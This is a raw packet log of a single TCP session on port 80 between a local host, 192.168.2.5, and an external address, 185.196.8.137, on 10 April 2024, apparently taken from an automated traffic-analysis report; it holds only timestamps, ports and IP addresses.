Apr 10, 2024 10:24:07.031318903 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.031327009 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.031337976 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.031352043 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.031363964 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.031373024 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.031375885 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.031385899 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.031389952 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.031404018 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.031415939 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.031419992 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.031429052 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.031439066 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.031440973 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.031451941 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.031459093 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.031483889 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.031502962 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.031517029 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.031548023 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.031552076 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.031589985 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217284918 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217312098 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217325926 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217336893 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217354059 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217364073 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217366934 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217374086 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217390060 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217398882 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217408895 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217416048 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217428923 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217434883 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217441082 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217453957 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217470884 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217473984 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217482090 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217494965 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217499971 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217505932 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217519045 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217521906 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217530966 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217542887 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217556953 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217569113 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217578888 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217581034 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217593908 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217598915 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217608929 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217619896 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217624903 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217632055 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217645884 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217653990 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217658997 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217669964 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217699051 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217802048 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217814922 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217828035 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217839956 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217852116 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217858076 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217864037 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217878103 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217881918 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217890978 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217905045 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217909098 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217916012 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217930079 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217936039 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217940092 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.217963934 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.217984915 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.403630018 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403659105 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403670073 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403683901 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403696060 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403707027 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403717995 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403731108 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403742075 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403748035 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403753042 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403759003 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403810024 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403806925 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.403825045 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403836012 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403841972 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403882980 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403894901 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403908014 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403913021 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.403913975 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.403918982 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403929949 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403940916 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.403942108 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403954029 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403961897 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.403965950 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.403990030 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404006958 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404027939 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404041052 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404052019 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404103041 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404138088 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404150009 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404160976 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404171944 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404185057 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404196024 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404196978 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404207945 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404227018 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404239893 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404246092 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404247046 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404247046 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404247046 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404257059 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404268026 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404279947 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404285908 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404289961 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404303074 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404315948 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404320955 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404350996 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404362917 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404373884 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404380083 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404386044 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404397011 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404407978 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404412031 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404419899 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404427052 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404432058 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404444933 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404448032 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404457092 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404469967 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404479980 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404481888 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404495001 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404499054 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404519081 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404525995 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404537916 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404546022 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404548883 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404561996 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404584885 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404611111 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404668093 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404711008 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404761076 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404844999 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404858112 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404870033 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404881001 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404892921 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404900074 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404903889 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404915094 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404927969 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404933929 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404948950 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404954910 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404959917 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404970884 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.404970884 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404983044 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.404994011 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.405016899 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.405025005 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.405039072 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.405057907 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.405069113 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.405076981 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.405081034 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.405092001 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.405126095 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.405148983 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.589721918 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.589785099 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.589798927 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.589812040 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.589824915 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.589835882 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.589847088 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.589858055 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.589869022 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.589879036 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.589890003 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.589901924 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.589940071 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.589976072 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590008020 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590018034 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590018988 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590018988 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590081930 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590137959 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590150118 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590162992 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590184927 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590198040 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590210915 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590240002 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590240002 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590265036 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590270042 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590270042 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590270042 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590279102 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590291023 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590313911 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590326071 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590342999 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590363979 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590387106 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590400934 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590406895 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590419054 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590431929 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590454102 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590480089 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590653896 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590667009 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590702057 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590714931 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590724945 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590760946 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590806007 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590852976 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590864897 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590876102 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590897083 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590922117 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590929985 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590943098 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590972900 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.590992928 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.590998888 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591021061 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591046095 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591046095 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591094017 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591130972 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591191053 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591203928 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591216087 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591243982 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591267109 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591326952 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591411114 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591423988 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591437101 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591449022 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591459036 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591465950 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591489077 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591509104 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591528893 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591541052 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591552973 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591564894 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591587067 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591589928 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591598988 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591610909 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591622114 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591634035 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591664076 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591664076 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591676950 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591681957 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591691017 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591701984 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591742992 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591751099 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591754913 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591767073 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591777086 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591789007 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591808081 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591809034 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591820002 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591859102 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591861963 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591905117 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.591980934 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.591994047 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592005014 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592015982 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592027903 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592042923 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592067957 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592080116 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592092991 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592103958 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592114925 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592125893 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592132092 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592137098 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592150927 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592154980 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592161894 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592174053 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592184067 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592185020 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592195988 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592200041 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592241049 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592241049 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:07.592293024 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592305899 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592315912 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592329025 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:07.592345953 CEST	49717	80	192.168.2.5	185.196.8.137
